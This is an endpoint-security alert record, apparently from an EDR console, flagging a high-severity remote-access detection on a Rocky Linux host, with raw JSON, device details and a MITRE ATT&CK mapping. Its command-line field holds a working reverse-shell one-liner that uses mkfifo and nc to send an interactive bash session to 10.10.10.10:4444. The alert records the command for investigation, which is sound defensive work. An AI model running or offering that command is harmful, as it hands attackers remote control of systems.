Alert Information
High
- Alert ID
ind:b4aeee57c4b841bc95cb853f0aca95e1:1766236096167930703-30103-7785488- Composite ID
84393bf974fd44bda943a25a6a7bc27f:ind:b4aeee57c4b841bc95cb853f0aca95e1:1766236096167930703-30103-7785488- 설명
- Bash has created an interactive terminal for a remote host. Check the process tree to determine if malicious commands were executed and if this access was expected.
- 호스트
- localhost.localdomain
- 상태
- new
- 생성 시간
- 2025-12-20 22:09:18
- 업데이트 시간
- 2025-12-20 23:08:18
MITRE ATT&CK
- Tactic
- Command and Control
- Technique
- Remote Access Tools
Command Line
bash -c rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc 10.10.10.10 4444 >/tmp/f
Raw JSON Data
{"id":"ind:b4aeee57c4b841bc95cb853f0aca95e1:1766236096167930703-30103-7785488","composite_id":"84393bf974fd44bda943a25a6a7bc27f:ind:b4aeee57c4b841bc95cb853f0aca95e1:1766236096167930703-30103-7785488","agent_id":"b4aeee57c4b841bc95cb853f0aca95e1","cid":"84393bf974fd44bda943a25a6a7bc27f","description":"Bash has created an interactive terminal for a remote host. Check the process tree to determine if malicious commands were executed and if this access was expected.","severity":70,"severity_name":"High","confidence":80,"tactic":"Command and Control","tactic_id":"TA0011","technique":"Remote Access Tools","technique_id":"T1219","cmdline":"bash -c rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2\u003E\u00261 | nc 10.10.10.10 4444 \u003E/tmp/f","filename":"bash","filepath":"/usr/bin/bash","sha256":"ec6d007d48ef11bc47ad3f372b4b20ff2f0d4e63867e7e4cc0f1b17b19fa88b2","status":"new","type":"ldt","created_timestamp":"2025-12-20T13:09:18.789055093Z","updated_timestamp":"2025-12-20T14:08:18.846382742Z","device":{"device_id":"b4aeee57c4b841bc95cb853f0aca95e1","cid":"84393bf974fd44bda943a25a6a7bc27f","agent_version":"7.31.18410.0","hostname":"localhost.localdomain","local_ip":"10.24.11.62","external_ip":"211.198.135.5","mac_address":"00-0c-29-89-f8-0a","platform_name":"Linux","os_version":"Rocky Linux 9.6"},"aggregate_id":"aggind:b4aeee57c4b841bc95cb853f0aca95e1:4841634727","CreatedAt":"2025-12-20T22:09:18.7890551+09:00","UpdatedAt":"2025-12-20T23:08:18.8463827+09:00"}
Quick Info
- Severity High
- Score 70
-
Agent ID
b4aeee57c4b841bc95cb853f0aca95e1
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